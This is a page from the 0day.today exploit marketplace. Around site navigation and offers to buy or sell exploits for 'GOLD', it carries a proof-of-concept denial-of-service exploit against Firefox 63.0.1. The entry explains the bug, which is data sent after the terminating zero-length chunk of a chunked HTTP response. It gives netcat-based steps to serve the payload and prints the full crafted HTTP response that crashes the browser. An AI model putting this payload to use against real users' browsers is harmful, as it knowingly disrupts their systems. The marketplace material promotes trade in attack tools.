0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Mozilla Firefox 63.0.1 - Denial of Service Exploit
[# Exploit Title: Mozilla Firefox 63.0.1 - Denial of Service (PoC) # Exploit Author: SAIKUMAR CHEBROLU # Vendor Homepage: https://www.mozilla.org/en-US/firefox/new/ # Bugzilla report: https://bugzilla.mozilla.org/show_bug.cgi?id=1504512 # Version: Firefox 63.0.1 # Tested on: Windows 10 # CVE : No CVE is been assigned to this bug. # To exploit this vulnerability please follow the below steps. # Firefox is being crashed, when it tried to process the chunked data. when Transfer-Encoding header # is used, we suppose to send the data in the chunks form. When all the chunks being transferred, # we need to tell the client with chunk length zero. so that it understands chunked stream completed. # But if we send the data after sending zero length, then firefox not able to understand it, # and it being crashed. # Example: 5 Don't 5 be af 5 firef 5 ox is 0 Crash (after saying it is end, we still sending some data) \r\n # here we are saying no chunked data after this.so that it should end with \r\n. But we # are sending some data after this also. Like # Steps to reproduce the crash 1)download the firefoxcrash.txt 2)nc -lp 8000 < firefoxcrash.txt 3)browe the url from firefox like http://localhost:8000 4)then close the netcat client. then you will obserev the firefox crash. # fireforcrash.txt HTTP/1.1 200 ok Content-type: application/octet-stream Content-disposition: attachment; filename="crash.txt" Transfer-Encoding: chunked Connection: close 5 I am 5 be a 5 fraid 5 to l 5 ook a 5 t thi 5 s mes 5 sage. 5 It i 5 s com 5 plete 5 ly ha 5 rmles 5 s. Re 5 ally! 0 foobar # 0day.today [2024-11-14] #